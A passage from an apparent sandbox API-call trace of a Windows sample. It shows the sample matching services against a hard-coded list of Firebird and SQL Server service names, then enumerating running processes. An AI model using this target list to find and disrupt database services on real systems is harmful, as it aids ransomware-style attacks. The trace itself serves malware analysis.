(lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0108.766] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0108.766] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0108.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0108.766] lstrlenW (lpString="nsi") returned 3 [0108.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0108.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0108.766] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0108.766] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0108.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0108.766] lstrlenW (lpString="PcaSvc") returned 6 [0108.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0108.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0108.767] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0108.767] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0108.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0108.767] lstrlenW (lpString="PlugPlay") returned 8 [0108.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0108.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0108.767] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0108.767] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0108.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0108.767] lstrlenW (lpString="Power") returned 5 [0108.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0108.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0108.767] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0108.767] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0108.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0108.767] lstrlenW (lpString="ProfSvc") returned 7 [0108.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0108.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0108.767] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0108.767] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0108.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0108.767] lstrlenW (lpString="RpcEptMapper") returned 12 [0108.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0108.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0108.767] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0108.768] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0108.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0108.768] lstrlenW (lpString="RpcSs") returned 5 [0108.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0108.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0108.768] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0108.768] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0108.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0108.768] lstrlenW (lpString="SamSs") returned 5 [0108.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0108.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0108.768] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0108.768] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0108.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0108.768] lstrlenW (lpString="Schedule") returned 8 [0108.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0108.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0108.768] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0108.768] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0108.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0108.768] lstrlenW (lpString="SecurityHealthService") returned 21 [0108.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0108.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0108.768] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0108.768] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0108.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0108.768] lstrlenW (lpString="SENS") returned 4 [0108.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0108.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0108.769] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0108.769] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0108.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0108.769] lstrlenW (lpString="ShellHWDetection") returned 16 [0108.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0108.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0108.769] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0108.769] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0108.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0108.769] lstrlenW (lpString="Spooler") returned 7 [0108.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0108.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0108.769] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0108.769] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0108.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0108.769] lstrlenW (lpString="SSDPSRV") returned 7 [0108.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0108.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0108.769] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0108.769] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0108.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0108.778] lstrlenW (lpString="StateRepository") returned 15 [0108.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0108.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0108.778] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0108.778] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0108.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0108.778] lstrlenW (lpString="SysMain") returned 7 [0108.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0108.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0108.778] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0108.778] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0108.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60f958 | out: hHeap=0x5b0000) returned 1 [0108.779] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0108.784] Process32FirstW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0108.784] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0108.785] lstrlenW (lpString="System") returned 6 [0108.785] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0108.786] lstrlenW (lpString="smss.exe") returned 8 [0108.786] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0108.787] lstrlenW (lpString="csrss.exe") returned 9 [0108.787] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0108.788] lstrlenW (lpString="wininit.exe") returned 11 [0108.788] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0108.789] lstrlenW (lpString="csrss.exe") returned 9 [0108.789] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0108.789] lstrlenW (lpString="winlogon.exe") returned 12 [0108.790] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0108.790] lstrlenW (lpString="services.exe") returned 12 [0108.790] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0108.791] lstrlenW (lpString="lsass.exe") returned 9 [0108.791] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.792] lstrlenW (lpString="svchost.exe") returned 11 [0108.792] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0108.793] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0108.793] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0108.794] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0108.794] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.794] lstrlenW (lpString="svchost.exe") returned 11 [0108.794] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0108.795] lstrlenW (lpString="dwm.exe") returned 7 [0108.795] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.796] lstrlenW (lpString="svchost.exe") returned 11 [0108.796] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.797] lstrlenW (lpString="svchost.exe") returned 11 [0108.797] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.798] lstrlenW (lpString="svchost.exe") returned 11 [0108.798] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.798] lstrlenW (lpString="svchost.exe") returned 11 [0108.798] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.799] lstrlenW (lpString="svchost.exe") returned 11 [0108.799] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.800] lstrlenW (lpString="svchost.exe") returned 11 [0108.800] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.803] lstrlenW (lpString="svchost.exe") returned 11 [0108.803] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.803] lstrlenW (lpString="svchost.exe") returned 11 [0108.804] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.804] lstrlenW (lpString="svchost.exe") returned 11 [0108.804] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0108.805] lstrlenW (lpString="spoolsv.exe") returned 11 [0108.805] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.806] lstrlenW (lpString="svchost.exe") returned 11 [0108.806] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.807] lstrlenW (lpString="svchost.exe") returned 11 [0108.807] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0108.808] lstrlenW (lpString="audiodg.exe") returned 11 [0108.808] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0108.808] lstrlenW (lpString="sihost.exe") returned 10 [0108.808] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.809] lstrlenW (lpString="svchost.exe") returned 11 [0108.809] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0108.810] lstrlenW (lpString="taskhostw.exe") returned 13 [0108.810] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0108.811] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0108.811] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0108.811] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0108.812] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0108.812] lstrlenW (lpString="explorer.exe") returned 12 [0108.812] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0108.813] lstrlenW (lpString="Memory Compression") returned 18 [0108.813] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0108.814] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0108.814] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0108.815] lstrlenW (lpString="SearchUI.exe") returned 12 [0108.815] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0108.815] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0108.816] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0108.823] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0108.823] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0108.824] lstrlenW (lpString="taskhostw.exe") returned 13 [0108.824] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0108.825] lstrlenW (lpString="UsoClient.exe") returned 13 [0108.825] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0108.825] lstrlenW (lpString="taskhostw.exe") returned 13 [0108.825] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0108.826] lstrlenW (lpString="msoia.exe") returned 9 [0108.826] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0108.827] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0108.827] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0108.828] lstrlenW (lpString="msoia.exe") returned 9 [0108.828] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0108.829] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0108.829] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0108.829] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0108.829] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver fireplace subdivision.exe")) returned 1 [0108.830] lstrlenW (lpString="screensaver fireplace subdivision.exe") returned 37 [0108.830] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arc obviously.exe")) returned 1 [0108.831] lstrlenW (lpString="arc obviously.exe") returned 17 [0108.831] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scholars.exe")) returned 1 [0108.832] lstrlenW (lpString="scholars.exe") returned 12 [0108.832] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolatedconcerned.exe")) returned 1 [0108.833] lstrlenW 